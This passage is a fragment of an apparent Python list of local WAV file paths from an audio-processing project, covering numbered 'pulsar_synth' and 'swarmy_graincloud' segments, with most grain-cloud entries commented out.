'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-004.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-005.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-007.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-008.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-009.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-010.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-011.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-012.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-013.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-014.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-016.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-017.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-018.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-019.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-020.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-021.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-022.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-023.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-024.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-025.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-026.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-027.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-028.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-029.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-030.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-031.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-032.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-033.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-034.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-035.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-036.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-037.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-038.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-039.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-040.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-041.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-042.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-043.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-044.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-045.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-046.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-047.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-048.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-049.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-050.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-051.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-052.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-053.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-054.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-055.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-056.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-057.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-058.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-059.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-060.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-061.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-062.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-063.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-064.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-065.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-066.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-067.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-068.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-069.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-070.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-071.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-072.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-073.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-074.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-075.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-076.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-077.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-078.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-079.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-080.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-081.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-082.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-083.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-084.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-085.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-086.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-087.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-088.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-089.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-090.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-091.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-092.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-093.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-094.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-095.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-096.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-097.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-098.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-099.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-100.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-101.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-102.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-103.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-104.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-105.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-106.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-107.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-108.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-109.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-110.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-111.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-112.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-113.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-114.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-115.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-116.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-117.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-118.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-119.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-120.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-121.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-122.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-123.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-124.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-125.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-126.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-127.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-128.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-129.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-130.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-131.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-132.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-133.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-134.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-135.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-136.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-137.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-138.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-139.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-000.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-001.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-002.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-003.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-004.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-005.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-006.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-007.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-008.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-009.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-010.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-011.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-012.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-013.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-014.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-015.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-016.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-017.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-018.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-019.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-020.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-021.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-022.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-023.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-024.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-025.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-026.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-027.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-028.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-029.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-030.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-031.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-032.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-033.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-034.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-035.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-036.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-037.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-038.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-039.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-040.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-041.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-042.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-043.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-044.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-045.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-046.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-047.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-048.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-049.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-050.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-051.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-052.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-053.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-054.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-055.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-056.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-057.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-058.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-059.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-060.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-061.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-062.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-063.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-064.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-065.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-066.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-067.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-068.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-069.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-070.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-071.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-072.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-073.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-074.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-075.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-076.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-077.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-078.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-079.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-080.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-081.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-082.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-083.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-084.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-085.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-086.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-087.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-088.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-089.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-090.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-091.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-092.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-093.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-094.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-095.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-096.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-097.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-098.wav',
